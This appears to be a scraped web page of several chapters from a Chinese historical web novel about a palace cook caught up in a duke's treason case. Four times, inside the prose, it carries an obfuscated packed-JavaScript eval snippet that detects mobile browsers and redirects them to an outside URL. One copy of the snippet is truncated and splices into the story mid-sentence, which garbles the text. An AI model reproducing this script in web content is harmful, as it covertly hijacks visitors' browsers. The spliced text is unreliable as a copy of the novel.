;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555687|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 刘氏嗔他一眼,“你说的轻巧,养孩子那么容易?你现在伤着,还得孙女出去赚银子。” “奶,不怕,银子我会赚,您不用担心。”姚轻雪安抚老太太,“我不在家,这孩子麻烦您照顾。” “一家人说这个做什么,我是心疼你。”刘氏叹口气,“罢了,养得活一个,就能养活第二个。放心吧,这孩子你不用操心。” “谢谢奶!”姚轻雪心里热乎乎的。姚家老两口虽然日子过得紧巴巴,但心地善良,刘氏说照顾就一定会尽心照顾芽芽。 今晚她要好好睡一觉。七天牢狱,今日又折腾大半天,姚轻雪累得都要散架了。 哪成想这天夜里芽芽发了热。还好姚轻雪警醒,她怕芽芽突然来到陌生地方害怕,所以时不时碰碰她,让她安心。 大约子时,姚轻雪迷迷糊糊去摸芽芽,小姑娘满头汗还热的不行,她立马醒了,赶紧叫醒刘氏,背上芽芽去找郎中。 常给刘氏看病的郎中住得不远,郎中给开了退热的药,让回家煎服。姚轻雪瞧着刘氏脸色也不好,又让郎中给刘氏也抓了几幅药。刘氏没带那么多银子。 姚轻雪与郎中商量:“叔,这次的药钱先欠着,我明日去安国公府做事,下月领了工钱立马给您送来,您看成不?”她家里怕是也没有多少存银了,不然刘氏不会只带了十个铜板。 郎中看她一眼,“成,回去煎药吧。”姚家什么人品他清楚,不会赖他药钱。 回家后刘氏煎药,姚轻雪用酒给芽芽降温,折腾到天亮,小姑娘总算退热了。姚轻雪松口气,从床上下来时只觉得头一沉,差点栽倒。 等缓过来后,姚轻雪仰头望着屋顶想:要不把那一万两花了?她真的很累啊。 “哎!”最终也没动那张银票。数额太大,她怕引来不必要的麻烦。 吃了早饭,换了身衣服,收拾了个包袱,姚轻雪一瘸一拐地去找李通。 李通见到她,“脸色这么难看?没睡好?” “净做噩梦来着。”姚轻雪撒了个谎。 “别说你个姑娘,就是大男人经这么一遭也得做几天噩梦。走吧,我带你去安国公府。” 李通雇了辆车亲自把姚轻雪带去安国公府,“陈管事,这是我侄女,麻烦您多照应。”大户人家买人也通过牙人,李通与安国公府的管事早就认识。 陈管事:“放心,主子们从不苛责下人,来咱们府上做事就是享福。” 李通道谢后离开,姚轻雪随陈管事去后厨。路上她悄悄打量四周,心想不愧是国公府,可真气派。 陈管事把人交给后厨总管,李厨子看看细皮嫩肉的姚轻雪,不满道:“怎么招了个这么嫩的,能干活?” 陈管事白他一眼,“你想要多老的?姚厨娘跟他祖父学的厨艺,也在旁人家做过厨娘,手艺不差。” “那可不一定。”李厨子拿了一块嫩豆腐放在案板上,“切丝我瞧瞧。” 5. 第 5 章 嫩豆腐切丝,这不是刁难人吗?陈管事脸色不大好。人是他带来的,李厨子这样做分明是不给他面子。陈管事正想斥他两句,却见新来的厨娘已经抄起菜刀。 姚轻雪拿了个空碗装上清水,把刀在水里沾了沾,然后在众人的惊讶中,切完了小半块豆腐。 她用刀背把豆腐小心撮到碗里,一根根豆腐丝立刻飘于水中。姚轻雪笑着问:“用把整块豆腐都切了吗?” 李厨子看着碗里丝丝分明的嫩豆腐没吭声。 陈管事嗤笑一声:“这回你还有什么话说?人我交给你了。”他看了一眼姚轻雪,转身走了。 在场的厨子、婢女、烧火婆子都围过来看豆腐丝,李厨子脸色不大好。嫩豆腐切丝是他拿手绝活,如今被个黄毛丫头轻易做到,他心里哪能舒服。“活都做完了?该干嘛干嘛去。” 撵完人,李厨子开始指使姚轻雪洗菜、切菜。姚轻雪默默干活,切丝是李厨子让切的,切了他还不高兴。欺生这种事到哪儿都有。这李大厨不折腾她两天,怕是不会让她上灶掌勺。 做完午膳没多久,便开始准备晚膳,这一天就没闲着。到了晚上,姚轻雪浑身疼,她在心里骂李厨子不是东西。同为打工人,何苦为难她。 “累坏了吧,李大厨就这样,每次有人来他都要刁难人家。”睡旁边的女孩跟姚轻雪搭话:“你切的豆腐丝我瞧着比他切得好,李大厨定是生气了,你可真厉害。” 姚轻雪闭着眼:“熟能生巧,切得多,你也成。” “那得切多少豆腐?”她似乎很有兴趣。 姚轻雪有气无力道:“五年。”五年还是少的,手笨的十年八年都不一定行。 “啊!那么久?算了吧,我能学会做几道菜就成。” 姚轻雪没再搭话,她实在太累了。片刻后女孩又道:“我叫孙娟,你叫姚轻雪吧,这名字可真好听。” 不知谁说了句:“赶紧睡吧,都累了一天了,明早还得早起呢。” 姚轻雪迷迷糊糊地想,是啊,明天还得早起呢,希望明日李大厨做个人吧。 次日李厨子虽没有为难她,但姚轻雪的活也不少。因为今日是国公府世孙赵俊的生辰,老夫人吩咐做她宝贝孙子喜欢的饭菜。 李厨子准备大显身手,把其他人指使得团团转。可再怎么使劲儿,他做的菜安国公府的主子都吃过,根本没有新鲜感。 赵俊是国公府的嫡长孙、赵家的宝贝疙瘩,今日又是他生辰,见桌上还是那些平常吃惯了的菜立马把嘴撅起来。 李厨子站在一边笑不出来了,这个时候奖赏是小事,若是惹主子不高兴,以后他能不能做后厨管事都两说。 可让做别的,他已经把拿手的都做了。李厨子眼珠子一转,一脸谄笑:“老夫人,昨儿新来了位厨娘,厨艺了得,不如让她给小公子做几道菜吧。” 国公夫人挥挥手,“快去安排。” 让她给主子做菜?姚轻雪一愣,李厨子良心发现了? 见她愣神,李大厨没好气道:“还不快去,做不出来,老夫人怪罪下来,有你好果子吃。”说完李厨子躲了出去。不管姚轻雪做不做得出来,后面跟他都没有关系。 姚轻雪心道:并非良心发现,而是没安好心。 孙娟气道:“他没让老夫人和小公子满意就把你推出去,哼,气死人了。” 其他人对姚轻雪也多有同情,别的厨子、厨娘见不关自己什么事,也同李大厨一般溜走了。留下来的几人皆是做粗活的婆子,不过谁也没有过来帮忙的意思。 姚轻雪并未在意那些人,而是问孙娟小公子的年纪及喜好。 八岁的孩子?简单。姚轻雪撸起袖子开始准备。旁人她不熟,不好指使,孙娟心直口快人还不错,姚轻雪就请她给自己打下手。 尽管李大厨做完一拨,各种食材还有很多。姚轻雪挑了一只鸡,将骨、肉、皮分离,把鸡肉切条,几种调味料放进去腌制。 见有卤好的牛肉和红豆馅。姚轻雪和了面,打算烙两张薄饼。现在熬酱怕是有些赶,她问孙娟有没有现成的酱? “没有。”主子们不吃的东西很少做。“我想起来了。”孙娟指着角落里的柜子小声说:“李大厨有,偷偷用主子的东西做的,他自己都舍不得吃。” 那应该是好东西,姚轻雪走到柜前,在里面找到个陶罐。盖子一打开,浓郁的酱香飘散出来。她夹了点放进嘴里,有松茸和牛肉粒,鲜香可口,做卷饼很合适。 孙娟见姚轻雪把李大厨的肉酱拿出来准备用,她张了张嘴想说什么,最终什么也没说。 姚轻雪又打了五个鸡蛋,只要蛋清。她看了看厨房的几人,问:“我要打蛋清,谁愿意帮我?” 负责烧火的徐氏走过来:“我来吧,我力气大,要怎么做?” “顺着这个方向一直搅,打到起泡为止。”姚轻雪示范后便把蛋清交给徐氏,“婶子受累了。” 空出手来,姚轻雪往腌好的鸡肉里放面粉和鸡蛋搅拌匀,然后生火烧素油、下锅炸,出锅后再复炸,没多久金黄酥脆的炸鸡就做好了。 之所以做这个,一是安国公府吃□□致但口味大多清淡,吃久了会让人觉得寡淡,偶尔来次炸物会觉得很美味。二是小孩子对炸鸡几乎没有抵抗力,无论哪个时代。第三也是时间不允许。 炸鸡的香气让烧火的孙娟直流口水,姚轻雪用碟子给她夹了几块,“替我尝尝味道,不知道小公子是否会喜欢。”她自己也吃了一块,味道还不错。不管什么东西,调味做好了,过油一炸味道都不会差。 “好吃!”孙娟眼睛瞪得老大,“小公子一定喜欢。” 姚轻雪笑笑:“那便好。”女人和孩子哪有不爱吃炸鸡的。 炸鸡有专人送到前面。姚轻雪把面团擀成薄薄两张饼,下锅烙至金黄,出锅后裹上酱牛肉和菜、瓜条, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555688|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再淋上李大厨做的酱。这酱不咸不淡,做卷饼再合适不过。 肉卷做好,但不能整个端上去。金贵的主子怎么能用手抓饼吃呢?再说就两个也不够分。于是姚轻雪将卷饼切成段,每段都用清水泡过的葱丝系着。一寸长的肉卷摆了两盘,葱丝系成的蝴蝶结纤细、可爱,盘子边上用松茸酱画了个小笑脸。 传菜的桃红眼睛都看直了,要说这卷饼没什么稀奇的,可经过姚厨娘这么一摆弄,顿时让人有尝一尝的想法。桃红才小心翼翼地端着盘子走了。 姚轻雪要做的最后一道菜比较费功夫,还好徐氏帮忙打了蛋清。姚轻雪将打发的蛋清,放面粉搅成蛋泡糊,另起锅烧油,用筷子夹着豆沙团子蘸上蛋泡糊放油里定型,炸成浅黄色出锅、撒上白糖。 待桃红把盘子端走,姚轻雪把那只鸡的剩余部分都下锅炸了。刚才她抽空腌了一下,这会儿都入味儿了。 炸好后她叫其他人一起过来吃。孙娟吃得嘴巴上都是油:“李大厨管得可严了,从来不准我们吃主子的东西。” “边角料主子肯定不会吃,扔了可惜,做了给大家尝尝我的手艺。”姚轻雪道。 徐氏笑着说:“即便是主子吃剩下的也轮不到我们,今儿咱们吃了姚厨娘做的东西,可别往外说,不然李大厨饶不了大家。” 有人道:“我们又不傻,谁会往外说。” “吃快点,不然等会儿来人就糟了。” 姚轻雪勾了勾嘴角,吃人嘴短,这些人以后会对她有几分和气,她不欲与人深交,但也不想太过孤立。 过了一会儿,听见外面有脚步声,众人把嘴一抹、立时散开,各干各的活。姚轻雪心想:嘴上说没吃主子的东西,但看样子没少吃。在厨房做事还能亏了自己的嘴? 桃红顾不上看旁人,她问姚轻雪:“炸鸡和肉卷还能做吗?” “可以,不过鸡要现切、腌入味,时间长,得等,可先做肉卷。”先前和好的面还能做几张薄饼。 “好,姚厨娘你先做着,我去回禀老夫人。”桃红又一溜烟地跑走了。 姚轻雪对厨内几人道:“各位!都帮把手吧,我一人忙不过来。” “成,做什么,姚厨娘你吩咐便是。” 有这些人帮忙,姚轻雪轻松不少,半个时辰不到,肉卷和炸鸡先后被送出去。雪绵豆沙前头还想要。姚轻雪往凳子上一瘫,“那个做起来比炸鸡还要费时,现在做得半个时辰,等得了吗?” 这顿饭吃了近两个时辰,这会儿应该都饱了,姚轻雪猜他们不会等。果然,桃红跑回来说不用再做了。 前头开始往下撤碗盘,这些活有桃红她们做。见没自己什么事,姚轻雪打算回房,她这会儿浑身是汗。 刚出院子,桃红来说老夫人要见她,姚轻雪便跟着去了前厅。 厅堂内,主位端坐着满身贵气的一男一女。姚轻雪猜这两位应是赵国公和国公夫人。 6. 第 6 章 安国公与夫人虽是这府上的掌权人,但年纪并不是很大,完全称不上老。这屋内除了他们二位,两侧还坐着不少人。 姚轻雪垂眸,恭恭敬敬地向上行礼。 安国公夫人点点头,“受累了。”桃红说新来的厨娘已经累瘫在后厨,看来不假,这厨娘头上湿漉漉的,汗都没消呢。“等会儿去陈管事那领十两银子。” 十两?姚轻雪心中大喜,这可解了她燃眉之急。 “晚上我还要吃炸鸡和雪绵豆沙。”坐在国公夫人身侧的男孩突然说道。 姚轻雪躬了躬身,“公子喜欢,自是没有问题,不过炸物易上火,夏日本就热,不宜多食。” “厨娘说的没错,十日之后准你再吃。” 赵俊撅着嘴不太高兴,但也听话:“都听母亲的。” 安国公赵德厚呷了口茶:“卷饼味道不错,可多做。”这个不上火,他爱吃。 姚轻雪再次躬身:“多亏有李大厨的秘制松茸肉酱,牛肉也是李大厨卤的,我不过投机取巧用了下。” 安国公夫人笑道:“你倒不贪功。”松茸酱从未在她面前出现过,想来是李厨子自己弄来吃的。厨子嘛,假公济私常有的事儿,只要不过分,她也不会追究。 下首的男人道:“李厨子倒是个会吃的。” 坐在他身侧的男子接过话:“厨子哪有不会吃的,只是他把好东西藏起来着实过分,我看不如让这厨娘做后厨管事算了。” “三弟,别闹。” 姚轻雪从他们的对话辨出了几人的身份,分别是安国公世子赵晟、三公子赵锟、二公子赵杰。她暗暗记下每个人的样貌。 赵锟看了看站着的姚轻雪:“母亲!若是无事就让她回去吧,做了这么多菜想来也是累了。” 老夫人笑道:“瞧我,光顾着说话了,姚厨娘回去歇息吧。” 姚轻雪行礼,一步步退出厅堂才转身大步离开。她没回住处,而是去找陈管事。 看见她来,陈管事笑道:“你倒是来的快,我这刚得到信儿,你人就到了。” 姚轻雪不好意思地笑笑,“让您笑话了,我没见过十两银子,心里着急,多亏老夫人心善。” 陈管事点点头,倒是个实诚的,寻常人家里有几两碎银就不错了,十两的银锭确实不多见。他把银元宝递给姚轻雪。“拿去吧,好好做事,国公府不会亏待你。” 拿到银子姚轻雪高兴,她大胆地提了个要求:“陈管事,这么多银子我带着不方便,我能请个假回趟家吗?我祖父腿摔伤了,正等着用银子。您放心,我出门就雇车,很快就会回来,不会耽搁多少时间。” 陈管事想了想,“行,快去快回,万一主子点你的菜,到时找不到人不好办。” 姚轻雪谢过陈管事,出门就雇了辆马车,来时刘氏给她塞了不少铜板,雇车足够。 刘氏看见孙女甚是诧异:“怎么这么快就回了?不是说得下个月吗?” 姚轻雪关上大门,拽刘氏进屋,然后把银子交给她和姚福。 “这、这哪来的?”姚福都被惊到了。 “主子赏的。”姚轻雪简短说了下经过,“我得走了,马车还在外面等着,这银子不要不舍得用,爷的药不能停,不然骨头长不好。对了芽芽怎么样了?” 话音刚落,房门就被推开,芽芽看见姚轻雪眼睛一亮,然后几步跑过去抱住她。 刘氏叹气:“昨日醒来不见你,就哭,非要找你。好说歹说才说通,可一直闷闷不乐,问什么都不肯说。” 毕竟救了她,芽芽对自己有依赖正常。姚轻雪蹲下身看着小姑娘:“芽芽,我要去别人家做工,只有这样才能赚银子养活我们。你在家乖乖听爷爷奶奶的话,下个月我再回来看你。” 小姑娘抿着嘴不吭声,姚轻雪牵起她的小手指,“我们拉钩,下月我一定回来。” 勉强拉了钩,芽芽这才小声问:“你会不要我吗?”她虽然小,但也知道和姚家没什么关系。爹娘都不要她,姚家凭什么养她?她怕唯一救了自己的姚轻雪也不要她。 姚轻雪鼻子有些酸,“不会,以后你就是我妹妹,姐不在家,你要照顾好爷爷奶奶,知道吗?” 听到这话,小姑娘来了精神,重重地点头:“我会照顾好爷爷奶奶。” 姚轻雪在家待了不到半刻钟,便急匆匆离开。芽芽站在大门口,直到姚轻雪上了马车、消失在葫芦巷口,她才恋恋不舍地跟刘氏回去。 坐在车里的姚轻雪发愁,芽芽这个样子她怎么把人送走?孩子不是小猫小狗,是有感情的。问题是她两辈子都没养过孩子,能养好芽芽吗? 回到国公府已经快到做晚膳的时间了,姚轻雪来到后厨。进门就见李大厨怒气冲冲向她走来。孙娟在李厨子身后一个劲儿给她使眼色。 李厨子两手叉腰,肥胖的身躯像小山似的挡在面前。姚轻雪面带笑容:“我跟陈管事请了假,回了趟家耽搁了点时间,对不住。” 李大厨嗤道:“回家送银子去了?你那银子可是用我的东西得的。”这丫头得了主子的赏,这也就罢了,竟敢动他东西?这才来两天胆子就这么大,不给她点颜色瞧瞧,她就不知道安国公府的后厨谁说了算。 “您说的没错,主子们都夸您既会做也会吃,松茸肉酱尤其做得好。”姚轻雪不疾不徐地说着:“国公爷喜欢您做的卤肉和秘制肉酱,明日午膳还要我准备。李管事!这酱已经用了小半,怕是吃不了几次,您看何时再熬些备着?不然国公爷想吃却没准备就不好了。” 李大厨眯了眯眼,这丫头用了他的东西还把他给卖了,现在还想指使他做事?以为在主子面前露了脸,他就拿她没办法了吗? 还不等李大厨发火,姚轻雪忙道:“我把肉卷饼的做法教给你,下次就由您为主子准备如何?”做卷饼没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555689|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难度,看一次就会,而且酱肉与酱都是李大厨做的。以后要在他手下做事,卖个人情给他对自己没坏处。 听到这话李大厨的怒气瞬间消了,说话语气也软了下来:“那便麻烦姚厨娘了。” 孙娟:“……”这就完了?白担心了。 接下来的几天李大厨没有为难姚轻雪,偶尔让她做道菜,若是过了他那道关,菜便会被送到主子的饭桌上。 姚轻雪做的菜深得主子们的喜爱,尤其是赵俊常点她做菜,还要她在盘子里画笑脸。姚轻雪不但画笑脸,偶尔还给他雕小兔子、小鱼,把赵俊哄得很开心。赵俊开心,国公夫人和世子妃就高兴,姚轻雪又得了不少赏银。 半月下来姚轻雪算是在国公府站稳了脚跟,李大厨对她也有了几分笑。姚轻雪对目前的状态很满意,工钱高、赏银更多。 今日宴席若是让三公子满意,赏钱定然少不了。今晚三公子在府上宴请宾客,还请了歌伎助兴,且赵琨点名要姚轻雪操持饭菜。 菜品五日前就定下了,食材几天前就开始准备。今早,新鲜的食材陆续被送来,最让人姚轻雪满意的是一桶鲜牛奶。 牛奶是好东西,可以做糕点和甜品。姚轻雪做了牛奶布丁,这就不得不感谢李大厨,她想在这里找明胶的替代物,后厨的人都问遍也没人知道。 李大厨能做国公府后厨管事的确有几分能耐,他出去就给买回来能使牛奶凝固的东西,说是海边来的。姚轻雪自然知道是什么东西,只是没想到竟然有的卖。 很快夜幕降临,宾客陆续到来,一道道菜被婢女们端走,最后一道出锅,姚轻雪擦了擦额头上的汗,平常只做几道给主子们吃并不感到累,而今日从早晨就开始准备,一天下来已经腰酸腿痛了。 因酒席还在继续,厨子不能离开后厨,姚轻雪也就没办法休息。孙娟小口小口吃着牛奶布丁,幸福地眯眼。“姚厨娘,这个真好吃。”有些形状不大好看,不能端出去给客人,姚轻雪就留下来给后厨的人吃。 李大厨哼了声:“用的全是好东西能不好吃?我可告诉你们,吃了东西都把嘴闭严了。”国公府有国公府的规矩,下人随便吃主子的东西就是坏了规矩。主子不追究是主子大度,做奴才的不能不知好歹。 孙娟立马表态:“您放心,我们绝对不会说出去。” 众人边歇着边闲聊,大约戌时末有人来找姚轻雪说三公子叫她过去。孙娟兴奋道:“定是三公子要打赏你,快去快去。” 姚轻雪本以为也是如此,只是她过去赵锟的院子时,却见客人陆续往外走。她还看见了熟人——凤仙楼歌伎玉美人,她在张府见过此人,给张夫人唱过曲。两人擦肩而过,玉美人并未注意她。 领路的是三公子的贴身婢女莺儿,她把姚轻雪带进一间屋子。 进去后姚轻雪觉得不对:“莺儿姑娘,是不是走错地方了?”赵琨为何要在卧房见她? 7. 第 7 章 “没走错,公子还等着呢,快进来吧。”莺儿一脸神秘莫测。 姚轻雪更加不安,但主子要见,她不得不去,只好跟着莺儿绕过屏风走到里间。 赵琨坐在桌前,见人进来他放下酒杯,一脸笑意地招呼姚轻雪过去。“辛苦了,过来坐。” 姚轻雪隔着桌子行礼:“见过三公子,这么晚了不知公子叫我来有何事?” “晚吗?”赵琨挑眉,“晚了才好,雪儿,过来,坐我身边。” 一声“雪儿”让姚轻雪寒毛直竖,她站着没动。“我只是个厨娘,不配与公子同坐。” “叫你坐就坐。”赵琨有些不悦。 莺儿把姚轻雪按到凳子上,“公子赏识你,你怕什么。” 赵琨看着身侧的姚轻雪,“今日辛苦了,本公子要重重赏你,说说你想要什么?银子?首饰?还是、宅子?”赵琨因为喝酒而发红的脸上溢满春色。 宅子?哪有赏下人宅子的?赵琨分明别有用心。姚轻雪心里焦急,最怕的事还是来了。“做菜乃厨娘分内之事,公子不必赏。夜深了,公子若是无事我先回了。” 姚轻雪起身想走,哪成想赵琨一把抓住她的手,“时间还早,这么急做什么。”边说边把身体贴过来,浓重的酒气喷到脸上,姚轻雪一阵恶心。 “请公子自重。”姚轻雪往外挣,可她哪有男人力气大,手腕都拽疼了也没把手抽出去。“莺儿……”她想向莺儿求助,转头一看屋里哪还有人影。 情急下,姚轻雪用膝盖去撞赵琨的手肘。赵琨吃痛松了手,姚轻雪趁机跑出房间,跑回住处虚脱地倒在铺上。 孙娟疑惑:“你怎么累成这样?” 姚轻雪没有说话,安国公府的三位公子口碑都不错。不管赵琨是酒后失态,还是他原本就是表里不一的伪君子,今日之事若是传出去,对赵琨没什么影响,但她很可能会成为贪慕富贵、勾引主子的恶妇。安国公府不会让一个厨娘坏了赵锟的名声,所以,闭口不言才是良策。 “回来的路上有东西窜出来,吓死我了。” “是猫吧,先不说这个、”孙娟凑过来小声问:“三公子赏了你多少?” 屋里其他人都竖起耳朵,姚轻雪看着孙娟微微一笑:“不告诉你。” 孙娟没再追问,她以为三公子给的数目太大,姚轻雪不好说,屋里这么多人呢,财不外露她懂。 这一晚姚轻雪忐忑难安,能跑得了一次,下次就不一定了。赵琨是主,她是仆,三公子若不依不饶,吃亏的都是自己。何况安国公府权势滔天,想让她悄无声息地死去轻而易举。 次日风平浪静,似乎昨晚发生的一切是她的梦。姚轻雪哪里知道,昨晚她跑出院子没多久,赵琨就被赵德厚叫过去臭骂:“几杯酒下肚就忘了自己是谁,不知轻重的东西,她人就在府上,事成后想把她怎样还不是你说了算?急什么?现在给我老实点,若坏了事,别怪我不念父子之情。” 赵琨的酒彻底醒了,他跪在赵德厚面前求饶,赵晟和赵杰替弟弟说话。 最终赵国公没有罚他,但叮嘱几个儿子:“都警醒些,那批东西一定要找到。张迁那个混账,亏我那么信任他。” 赵杰:“万幸他死得干脆,此事未牵连我们。” 世子赵晟眉头紧锁:“张迁一死,东西藏在哪里无人知道,我们也没有线索,该如何去找?”早知张迁会背叛安国公府,当初就不该让他去做这件事。 赵德厚:“查,张家所有活口都要查,挖地三尺也要把东西找出来。” …… 一连几天没人来找麻烦,姚轻雪稍稍放下心。她想着等拿到这个月的工钱,找个由头离开安国公府。这种事没有就算了,一旦有苗头就该躲得远远的。 姚轻雪做梦都没想到,就在发工钱的前一日,安国公府被重兵围住。安国公及其家眷被大理寺押走。 姚轻雪心都凉了,她怎么又遇到这种事? 当看见姚轻雪时,韩泽很意外,他皱着眉问:“怎么又是你?” 姚轻雪心想:我还想问呢?怎么我走到哪儿你跟到哪儿?可她不敢,现在不是得罪人的时候。“大人明察,民女从大理寺出来后通过牙人来安国公府做厨子,来了不到一个月,安国公府的事民女一概不知。” 韩泽眯了眯眼,这么巧?没去其他地方,偏偏来了安国公府?“先去做笔录。” 姚轻雪:“我懂,我去大理寺牢里待几日再回去,劳烦韩大人了。” 韩泽:“……”她把大理寺地牢当什么了?还待几日再回去。把大理寺牢房当客栈的犯人他头次见。 时隔一个月,姚轻雪又一次进了大理寺地牢。一回生二回熟,这次她比上次轻松许多,并且捂紧荷包,什么都不打听。 这种案子狱卒大多不知详情,问了也是白问,既是韩泽主办,她就不用担心,狱卒都说了这位韩少卿是难得的好人。 只是这次姚轻雪把事情想得过于简单。安国公犯谋逆之罪,按律安国公府内所有人一律处决,七岁以下的孩童和八十以上的老人可免死,但姚轻雪不在此列。 将所有人捉拿归案,韩泽回到大理寺坐下来越想越觉得蹊跷。以他的经验看,一个人同时牵扯进两件案子,大多不是巧合。 北齐有个女探子很早就在京城活动,大理寺一直没找到这个人。而经过上次调查,姚轻雪是姚福收养的孤女,爹娘不详,若她是北齐人,张家收养她很有可能是一场阴谋。 姚轻雪会是探子吗?外表看上去人畜无害,就是普通人家的姑娘,但若是经过训练装出来的,那便解释得通,看来这厨娘不简单。 先去张家,后又出现在安国公府,难道北齐也盯上了那批东西?这事光靠一个探子完成不了,这背后必定有北齐的组织。若是能将藏在暗处的北齐暗探组织连根拔除,对大卫绝对是好事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555690|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有了姚轻雪这个饵,就能钓到后面的大鱼,所以,姚轻雪暂时不能死。此时韩泽已经把姚轻雪当成北齐的探子。他找到大理寺卿陆方陆大人说明情况。 陆方皱着眉:“这只是你的猜测,万一错了,陛下怪罪下来你担得起?” “不冒险怎么会有发现?一条鱼和一网鱼孰轻孰重?陛下又不糊涂。万一错了,陛下怪罪我担着就是。”错放一个平民女子有什么好怪罪的?说句不中听的,安国公要谋朝纂位跟毫不知情的下人有什么关系? 陆大人:“你打算怎么做?” 韩泽:“迷惑她们,所以要多放几个人。张迁自缢后,那一千件火枪下落不明,姚轻雪定然也在找那批东西,她或许知道些什么,把她放在眼皮子底下盯着。” 陆方道:“张迁可惜了,选错了路不得善终。上无爹娘,下无子女,死得倒是干脆。”同朝为官他对此人有所了解,有才华、做事也有手段。 韩泽心想路哪是他选的,安国公多年前就开始布局,资助有前途的贫苦学子,从中再选出才能出众者重点栽培。可怜有些人以为找到了通途,却一步一步走向悬崖,最后万劫不复,全家跟着遭殃。 殊不知,安国公所做的一切,陛下早有察觉。一年前便命韩泽暗中调查,后来韩泽发觉赵德厚有不臣之心。 陛下少年登基,如今羽翼渐丰,怎可能给安国公机会?紧用一年的时间,就把安国公的党羽一个一个铲除。 或许是赵德厚预感到了不好,他开始急了,便把主意打到工部最新研制出来的那批火器身上,让工部侍郎张迁监守自盗。 张迁也是狠人,事后把参与此事的所有人灭了口,安国公这位背后主谋到头来竟然不知道火器的下落,说起来有些可笑。 陆方起身:“你跟我进宫,这事得你亲自向陛下说明。” …… 五日后,姚轻雪被放出大理寺,她不会想到鬼门关走一遭、捡了条命,头上还时刻悬着一把刀。 送她出去的狱卒:“赵家本应满门抄斩,是陛下心善放了无关之人,姚姑娘你运气真好啊。” 姚轻雪心想:这哪里是运气好?分明是倒霉到家了。她都怀疑自己是不是克主? “不是我运气好,而是韩大人秉公办事,他是位好官。” 狱卒回头看她一眼,看来这姑娘不懂满门抄斩的意思。赵家的事,陛下御笔亲批,韩泽做不了主。算了,寻常人家的姑娘哪懂朝廷的事,不懂有不懂的好处。 出了牢房,姚轻雪没看见姚福和刘氏,回家的路上她买了二斤肉。走到葫芦巷口,瞧见自家大门外蹲着个小小的身影,“芽芽!” 芽芽抬头,眼睛瞬间一亮,飞跑过去抱住姚轻雪。 姚轻雪推推她,“别抱了,身上全是味儿,爷爷奶奶呢?” “奶奶她、她……”芽芽说话吞吞吐吐。 姚轻雪一惊:“奶奶怎么了?” 8. 第 8 章 芽芽带着哭腔说:“奶奶被杨婆子气病了,我、我没照顾好奶奶。” 姚轻雪松了口气,她以为老太太……按照她的判断,刘氏应该是先天性心脏病,受不得累,更受不了刺激,能活到现在都是姚福照顾得好。 而随着年龄的增大,老太太随时都有可能先走一步。她进出大理寺牢房两次,把老两口都吓得不轻。刘氏本就是强撑着,若是再生气不倒才怪了。 “杨婆子为何会气奶奶?”姚轻雪伸手给小姑娘擦脸上的泪珠。 芽芽吸吸鼻子,然后气鼓鼓道:“她说姚家是绝户,捡了两个赔钱货,你还进了大牢,很快就要被砍头,骂奶奶死了没人埋。奶奶与她争执,然后就晕倒了。” 姚轻雪也气,杨婆子是这条巷子的泼妇,名声不咋样。她有个儿子,不学无术、好吃懒做,先前娶了媳妇一直没生孩子,让那母子俩打跑了。 远近都知道他们家什么德行,好人家不会把自家姑娘往火坑里推,那杨兴旺便一直娶不上媳妇。杨婆子就把主意打到姚轻雪身上。 姚轻雪今年十八,早到了嫁人的年纪。姚家就她一个姑娘,姚福和刘氏原来有招赘的意思,但好人家的男人怎么可能入赘,后来老两口也歇了这份心思,想着只要孙女能嫁个好人便知足了。但上门提亲的人姚福一个没看上,如此姚轻雪的亲事就耽搁到现在。 凭姚福和刘氏对孙女的疼爱,怎么可能把她嫁给杨兴旺。自那之后杨婆子见到姚家三口便指桑骂槐。 姚福和刘氏都是老实人,只当她是疯狗乱叫,不予理会。这次杨婆子可找着机会了,没留口德,刘氏本就心焦,便与杨婆子吵起来。从不与人脸红的刘氏怎么可能是泼妇的对手。 姚轻雪把肉往芽芽手里一塞,“拿回去。”原主胆小怕事,被人指着鼻子骂,都不敢吭声,但她不是。 姚轻雪走到巷子另一头敲开杨家的大门。杨婆子看见来人先是一愣,随后嘲讽道:“吆,什么时候出来的?大理寺的地牢待着可好?” 